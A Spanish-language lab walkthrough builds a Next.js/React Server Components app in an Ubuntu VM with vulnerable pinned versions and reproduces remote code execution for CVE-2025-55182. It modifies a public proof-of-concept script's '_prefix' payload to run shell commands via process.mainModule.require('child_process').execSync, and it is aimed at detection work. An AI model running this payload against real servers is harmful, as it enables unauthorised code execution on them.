
Este documento proporciona una configuración completa y reproducible para demostrar la ejecución remota de código (RCE) de CVE-2025-55182 contra un entorno vulnerable de Next.js + React Server Components que se ejecuta dentro de una máquina virtual Ubuntu con Multipass.
El exploit se ejecuta desde fuera de la VM, lo que demuestra la explotabilidad remota y prepara el entorno para la detección de comportamientos anómalos.
Fuente: https://github.com/ejpir/CVE-2025-55182-research
sudo apt update && sudo apt upgrade -y
sudo apt install -y curl git build-essential
curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
sudo apt install -y nodejs
Verificar:
node -v
npm -v
sudo adduser reactlab
sudo usermod -aG sudo reactlab
su - reactlab
mkdir ~/react2shell-lab
cd ~/react2shell-lab
npx create-next-app@latest vulnerable-app
cd vulnerable-app
package.jsonEdita las dependencias:
"dependencies": {
"next": "16.0.0",
"react": "19.1.0",
"react-dom": "19.1.0"
}
Reinstala los paquetes:
rm -rf node_modules package-lock.json
npm install
Verifica:
npm list react react-dom next
Resultado esperado:
npm run build
npm start
Salida esperada:
▲ Next.js 16.0.0
Local: http://localhost:3000
Network: http://10.X.X.X:3000

En otra máquina:
curl http://10.102.169.126:3000
Deberías recibir la página HTML predeterminada de Next.js.
cd ~
git clone https://github.com/ejpir/CVE-2025-55182-research
cd CVE-2025-55182-research
Busca:
hostname: 'localhost',
Reemplázalo con:
hostname: '10.X.X.X',
Con Next aún en ejecución:
node test-simple.cjs
Resultado esperado en la terminal de Next.js:
NON-CHUNKED-RCE
Esto confirma la ejecución remota de código a través de React Flight utilizando las versiones vulnerables.

El objetivo es generar un comportamiento observable (sistema de archivos + ejecución de procesos).
_prefix dentro de test-simple.cjsLocaliza:
"_prefix": "console.log('NON-CHUNKED-RCE');//"
Reemplázalo con:
"_prefix": "process.mainModule.require('child_process').execSync('touch /tmp/cve-2025-55182-syscall');console.log('NON-CHUNKED-RCE');//"
Nota: require no está disponible en el contexto de ejecución, pero process.mainModule.require() sí lo está.
Asegúrate de que Next esté en ejecución y luego:
node test-simple.cjs
Comprueba la creación del archivo:
ls -l /tmp/
Deberías ver:
cve-2025-55182-syscall
Esto confirma una RCE funcional con efectos secundarios.

Parche:
React ≥ 19.2.1
Next.js ≥ 16.0.7